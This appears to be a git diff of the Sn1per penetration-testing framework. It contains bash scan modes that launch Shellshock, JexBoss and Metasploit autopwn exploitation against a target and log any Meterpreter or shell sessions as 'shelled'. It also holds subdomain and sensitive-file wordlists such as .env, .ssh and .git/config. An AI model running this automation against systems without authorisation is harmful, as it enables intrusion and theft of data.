sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-https-port$PORT.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port $PORT | tee $LOOT_DIR/web/shocker-$TARGET-port$PORT.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:$PORT | tee $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw > $LOOT_DIR/web/jexboss-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
|
||||
SSL="true"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
source modes/osint_stage_2.sh
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
mv $LOOT_DIR/scans/running-$TARGET-webporthttps.txt $LOOT_DIR/scans/finished-$TARGET-webporthttps.txt 2> /dev/null
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then
|
||||
echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null)
|
||||
if [[ ${#SHELLED} -ge 5 ]]; then
|
||||
echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
if [[ "$MODE" = "webscan" ]]; then
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e " ; , "
|
||||
echo -e " ,; '. "
|
||||
echo -e " ;: :; "
|
||||
echo -e " :: :: "
|
||||
echo -e " :: :: "
|
||||
echo -e " ': : "
|
||||
echo -e " :. : "
|
||||
echo -e " ;' :: :: ' "
|
||||
echo -e " .' '; ;' '. "
|
||||
echo -e " :: :; ;: :: "
|
||||
echo -e " ; :;. ,;: :: "
|
||||
echo -e " :; :;: ,;\" :: "
|
||||
echo -e " ::. ':; ..,.; ;:' ,.;: "
|
||||
echo -e " \"'\"... '::,::::: ;: .;.;\"\"' "
|
||||
echo -e " '\"\"\"....;:::::;,;.;\"\"\" "
|
||||
echo -e " .:::.....'\"':::::::'\",...;::::;. "
|
||||
echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; "
|
||||
echo -e " ::' ;::;:::;::.. :; "
|
||||
echo -e " :: ,;:::::::::::;:.. :: "
|
||||
echo -e " ;' ,;;:;::::::::::::::;\";.. ':."
|
||||
echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::"
|
||||
echo -e " :. :: ::::::; ::::::: : ; "
|
||||
echo -e " ; :: ::::::: ::::::: : ; "
|
||||
echo -e " ' :: ::::::....:::::' ,: ' "
|
||||
echo -e " ' :: :::::::::::::\" :: "
|
||||
echo -e " :: ':::::::::\"' :: "
|
||||
echo -e " ': \"\"\"\"\"\"\"' :: "
|
||||
echo -e " :: ;: "
|
||||
echo -e " ':; ;:\" "
|
||||
echo -e " -hrr- '; ,;' "
|
||||
echo -e " \"' '\" "
|
||||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-webscan.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:80\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:80\"]}"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:443\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:443\"]}"
|
||||
echo ""
|
||||
for a in {1..30};
|
||||
do
|
||||
echo -n "[-] SCAN #$a: "
|
||||
curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
while [[ ${#BURP_STATUS} -gt "5" ]];
|
||||
do
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
|
||||
echo "[i] STATUS: $BURP_STATUS_FULL"
|
||||
sleep 15
|
||||
done
|
||||
done
|
||||
|
||||
echo "[+] VULNERABILITIES: "
|
||||
echo "----------------------------------------------------------------"
|
||||
for a in {1..30};
|
||||
do
|
||||
curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
|
||||
done
|
||||
|
||||
echo "[-] Done!"
|
||||
fi
|
||||
if [[ "$ARACHNI_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
mkdir -p $LOOT_DIR/web/http-$TARGET/
|
||||
mkdir -p $LOOT_DIR/web/https-$TARGET/
|
||||
arachni --report-save-path=$LOOT_DIR/web/http-$TARGET/ --output-only-positives http://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
arachni --report-save-path=$LOOT_DIR/web/https-$TARGET/ --output-only-positives https://$TARGET | tee $LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_ARACHNI_SCAN" == "1" ]]; then
|
||||
bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-http-`date +"%Y%m%d%H%M"`.txt"
|
||||
bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/output/sniper-$TARGET-webscan-https-`date +"%Y%m%d%H%M"`.txt"
|
||||
fi
|
||||
cd $LOOT_DIR/web/http-$TARGET/
|
||||
cd $LOOT_DIR/web/https-$TARGET/
|
||||
arachni_reporter $LOOT_DIR/web/http-$TARGET/*.afr --report=html:outfile=$LOOT_DIR/web/http-$TARGET/arachni.zip
|
||||
arachni_reporter $LOOT_DIR/web/https-$TARGET/*.afr --report=html:outfile=$LOOT_DIR/web/https-$TARGET/arachni.zip
|
||||
cd $LOOT_DIR/web/http-$TARGET/
|
||||
unzip arachni.zip
|
||||
cd $LOOT_DIR/web/https-$TARGET/
|
||||
unzip arachni.zip
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
loot
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
<!DOCTYPE html>
|
||||
<html><head><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
|
||||
<title>Notepad App</title>
|
||||
<meta charset="utf-8">
|
||||
<!--[if lt IE 9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
|
||||
<style>
|
||||
html,body{background:#FCFCFC;color:#444;height:100%;width:100%;margin:0;padding:0;overflow:hidden}
|
||||
#notepad{height:100%;width:100%;padding:1%;font-size:12px;line-height:100%;font-family:Menlo,Monaco,Consolas,"Courier New",monospace;box-sizing:border-box}
|
||||
::selection{background:#7D7}
|
||||
::-moz-selection{background:#7D7}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<textarea placeholder="Type here, see it here..." id="notepad">
|
||||
<!--
|
||||
you could do any element w/ contentEditable, but that doesn't fire onchange
|
||||
-->
|
||||
</textarea>
|
||||
<script>
|
||||
/* localstorage polyfill from https://gist.github.com/350433 */
|
||||
("undefined"==typeof window.localStorage||"undefined"==typeof window.sessionStorage)&&function(){function e(f){function e(a){var b;b=new Date;b.setTime(b.getTime()+31536E6);document.cookie="localStorage="+a+("; expires="+b.toGMTString())+"; path=/"}function g(a){a=JSON.stringify(a);"session"==f?window.name=a:e(a)}var d=function(){var a;if("session"==f)a=window.name;else a:{a=document.cookie.split(";");var b,c;for(b=0;b<a.length;b++){for(c=a[b];" "==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf("localStorage=")){a=
|
||||
c.substring(13,c.length);break a}}a=null}return a?JSON.parse(a):{}}();return{length:0,clear:function(){d={};this.length=0;"session"==f?window.name="":e("")},getItem:function(a){return void 0===d[a]?null:d[a]},key:function(a){var b=0,c;for(c in d){if(b==a)return c;b++}return null},removeItem:function(a){delete d[a];this.length--;g(d)},setItem:function(a,b){d[a]=b+"";this.length++;g(d)}}}if("undefined"==typeof window.localStorage)window.localStorage=new e("local");if("undefined"==typeof window.sessionStorage)window.sessionStorage=
|
||||
new e("session")}();
|
||||
|
||||
/* the code */
|
||||
var n = document.getElementById("notepad");
|
||||
/* save */
|
||||
var s = function(){localStorage.setItem("notepad", n.value);}
|
||||
/* retrieve (only on page load) */
|
||||
if(window.localStorage){ n.value = localStorage.getItem("notepad");}
|
||||
/* autosave onchange and every 500ms and when you close the window */
|
||||
n.onchange = s();
|
||||
setInterval( s, 500);
|
||||
window.onunload = s();
|
||||
</script>
|
||||
</body></html>
|
||||
BIN
sn1per-logo.png
BIN
sn1per-logo.png
Binary file not shown.
|
Before Width: | Height: | Size: 589 KiB |
File diff suppressed because one or more lines are too long
|
|
@ -1,6 +1,7 @@
|
|||
#!/bin/bash
|
||||
# Uninstall script for sn1per
|
||||
#
|
||||
# Uninstall script for Sn1per
|
||||
# Created by @xer0dayz - https://xerosecurity.com
|
||||
|
||||
# VARS
|
||||
OKBLUE='\033[94m'
|
||||
OKRED='\033[91m'
|
||||
|
|
@ -15,7 +16,7 @@ echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[http://crowdshield.com$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com$RESET"
|
||||
echo ""
|
||||
|
||||
INSTALL_DIR=/usr/share/sniper
|
||||
|
|
@ -26,5 +27,4 @@ read answer
|
|||
rm -Rf /usr/share/sniper/
|
||||
rm -f /usr/bin/sniper
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Done!$RESET"
|
||||
echo -e "$OKORANGE + -- --=[To run, type 'sniper'! $RESET"
|
||||
echo -e "$OKORANGE + -- --=[Done!$RESET"
|
||||
|
|
@ -0,0 +1,233 @@
|
|||
1
|
||||
10
|
||||
11
|
||||
12
|
||||
13
|
||||
14
|
||||
15
|
||||
16
|
||||
17
|
||||
18
|
||||
19
|
||||
2
|
||||
20
|
||||
2009
|
||||
2010
|
||||
2011
|
||||
2012
|
||||
2013
|
||||
2014
|
||||
2015
|
||||
2016
|
||||
3
|
||||
4
|
||||
5
|
||||
6
|
||||
7
|
||||
8
|
||||
9
|
||||
a
|
||||
acc
|
||||
accept
|
||||
accounts
|
||||
adm
|
||||
admin
|
||||
admin1
|
||||
administrator
|
||||
akali
|
||||
akamai
|
||||
alpha
|
||||
alt
|
||||
america
|
||||
analytics
|
||||
api
|
||||
api1
|
||||
api-docs
|
||||
apollo
|
||||
april
|
||||
aws
|
||||
b
|
||||
backend
|
||||
beta
|
||||
billing
|
||||
boards
|
||||
box
|
||||
brand
|
||||
brasil
|
||||
brazil
|
||||
bucket
|
||||
bucky
|
||||
c
|
||||
cdn
|
||||
cf
|
||||
chef
|
||||
ci
|
||||
client
|
||||
cloudfront
|
||||
cms
|
||||
cms1
|
||||
cn
|
||||
com
|
||||
confluence
|
||||
container
|
||||
control
|
||||
data
|
||||
dec
|
||||
demo
|
||||
dev
|
||||
dev1
|
||||
developer
|
||||
devops
|
||||
docker
|
||||
docs
|
||||
drop
|
||||
edge
|
||||
elasticbeanstalk
|
||||
elb
|
||||
email
|
||||
eng
|
||||
engima
|
||||
engine
|
||||
engineering
|
||||
eu
|
||||
europe
|
||||
europewest
|
||||
euw
|
||||
euwe
|
||||
evelynn
|
||||
events
|
||||
feb
|
||||
fet
|
||||
firewall
|
||||
forms
|
||||
forum
|
||||
frontpage
|
||||
fw
|
||||
games
|
||||
germany
|
||||
gh
|
||||
ghcpi
|
||||
git
|
||||
github
|
||||
global
|
||||
hkg
|
||||
hw
|
||||
hwcdn
|
||||
i
|
||||
ids
|
||||
int
|
||||
internal
|
||||
jenkins
|
||||
jinx
|
||||
july
|
||||
june
|
||||
kor
|
||||
korea
|
||||
kr
|
||||
lan
|
||||
las
|
||||
latin
|
||||
latinamerica
|
||||
lax
|
||||
lax1
|
||||
lb
|
||||
loadbalancer
|
||||
login
|
||||
machine
|
||||
mail
|
||||
march
|
||||
merch
|
||||
mirror
|
||||
na
|
||||
nautilus
|
||||
net
|
||||
netherlands
|
||||
nginx
|
||||
nl
|
||||
node
|
||||
northamerica
|
||||
nov
|
||||
oceania
|
||||
oct
|
||||
ops
|
||||
org
|
||||
origin
|
||||
page
|
||||
pantheon
|
||||
pass
|
||||
pay
|
||||
payment
|
||||
pc
|
||||
php
|
||||
pl
|
||||
poland
|
||||
preferences
|
||||
priv
|
||||
private
|
||||
prd
|
||||
prod
|
||||
production
|
||||
profile
|
||||
profiles
|
||||
promo
|
||||
promotion
|
||||
proxy
|
||||
redirector
|
||||
region
|
||||
repo
|
||||
repository
|
||||
reset
|
||||
restrict
|
||||
restricted
|
||||
reviews
|
||||
s
|
||||
s3
|
||||
sandbox
|
||||
search
|
||||
secure
|
||||
security
|
||||
sept
|
||||
server
|
||||
service
|
||||
singed
|
||||
skins
|
||||
spring
|
||||
ssl
|
||||
staff
|
||||
stage
|
||||
stage1
|
||||
staging
|
||||
static
|
||||
support
|
||||
swagger
|
||||
system
|
||||
t
|
||||
train
|
||||
training
|
||||
team
|
||||
test
|
||||
test1
|
||||
testbed
|
||||
testing
|
||||
testing1
|
||||
tomcat
|
||||
tpe
|
||||
tr
|
||||
trial
|
||||
tur
|
||||
turk
|
||||
turkey
|
||||
twitch
|
||||
uat
|
||||
v1
|
||||
v2
|
||||
vi
|
||||
vpn
|
||||
w3
|
||||
www
|
||||
www3
|
||||
web
|
||||
web1
|
||||
webapp
|
||||
westeurope
|
||||
z
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,141 @@
|
|||
127.0.0.1
|
||||
admin
|
||||
administration
|
||||
ads
|
||||
adserver
|
||||
alerts
|
||||
alpha
|
||||
ap
|
||||
apache
|
||||
api
|
||||
app
|
||||
apps
|
||||
appserver
|
||||
aptest
|
||||
auth
|
||||
backup
|
||||
beta
|
||||
blog
|
||||
cdn
|
||||
chat
|
||||
citrix
|
||||
cms
|
||||
corp
|
||||
crs
|
||||
cvs
|
||||
dashboard
|
||||
database
|
||||
db
|
||||
demo
|
||||
dev
|
||||
devel
|
||||
development
|
||||
devsql
|
||||
devtest
|
||||
dhcp
|
||||
direct
|
||||
dmz
|
||||
dns
|
||||
dns0
|
||||
dns1
|
||||
dns2
|
||||
download
|
||||
en
|
||||
erp
|
||||
eshop
|
||||
exchange
|
||||
f5
|
||||
fileserver
|
||||
firewall
|
||||
forum
|
||||
ftp
|
||||
ftp0
|
||||
git
|
||||
gw
|
||||
help
|
||||
helpdesk
|
||||
home
|
||||
host
|
||||
http
|
||||
id
|
||||
images
|
||||
info
|
||||
internal
|
||||
internet
|
||||
intra
|
||||
intranet
|
||||
ipv6
|
||||
lab
|
||||
ldap
|
||||
linux
|
||||
local
|
||||
localhost
|
||||
log
|
||||
m
|
||||
mail
|
||||
mail2
|
||||
mail3
|
||||
mailgate
|
||||
main
|
||||
manage
|
||||
mgmt
|
||||
mirror
|
||||
mobile
|
||||
monitor
|
||||
mssql
|
||||
mta
|
||||
mx
|
||||
mx0
|
||||
mx1
|
||||
mysql
|
||||
news
|
||||
noc
|
||||
ns
|
||||
ns0
|
||||
ns1
|
||||
ns2
|
||||
ns3
|
||||
ntp
|
||||
old
|
||||
ops
|
||||
oracle
|
||||
owa
|
||||
pbx
|
||||
portal
|
||||
s3
|
||||
secure
|
||||
server
|
||||
sharepoint
|
||||
shop
|
||||
sip
|
||||
smtp
|
||||
sql
|
||||
squid
|
||||
ssh
|
||||
ssl
|
||||
stage
|
||||
staging
|
||||
stats
|
||||
status
|
||||
svn
|
||||
syslog
|
||||
test
|
||||
test1
|
||||
test2
|
||||
testing
|
||||
uat
|
||||
upload
|
||||
v1
|
||||
v2
|
||||
v3
|
||||
vm
|
||||
vnc
|
||||
voip
|
||||
vpn
|
||||
web
|
||||
web2test
|
||||
whois
|
||||
wiki
|
||||
www
|
||||
www2
|
||||
xml
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,47 @@
|
|||
index
|
||||
index.asp
|
||||
index.html
|
||||
index.htm
|
||||
index.jsp
|
||||
index.aspx
|
||||
index.php
|
||||
sitemap.xml
|
||||
robots.txt
|
||||
cgi-bin
|
||||
phpmyadmin
|
||||
phpMyAdmin
|
||||
.env
|
||||
.git
|
||||
.svn
|
||||
.bashrc
|
||||
.ssh
|
||||
wordpress
|
||||
wp
|
||||
images
|
||||
img
|
||||
css
|
||||
blog
|
||||
upload
|
||||
uploads
|
||||
scripts
|
||||
api
|
||||
home
|
||||
user
|
||||
users
|
||||
admin
|
||||
Admin
|
||||
data
|
||||
portal
|
||||
js
|
||||
.git/config
|
||||
.travis.yml
|
||||
Makefile
|
||||
Dockerfile
|
||||
package.json
|
||||
gulpfile.js
|
||||
composer.json
|
||||
web.config
|
||||
.DS_Store
|
||||
readme.md
|
||||
readme.txt
|
||||
.gitignore
|
||||
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue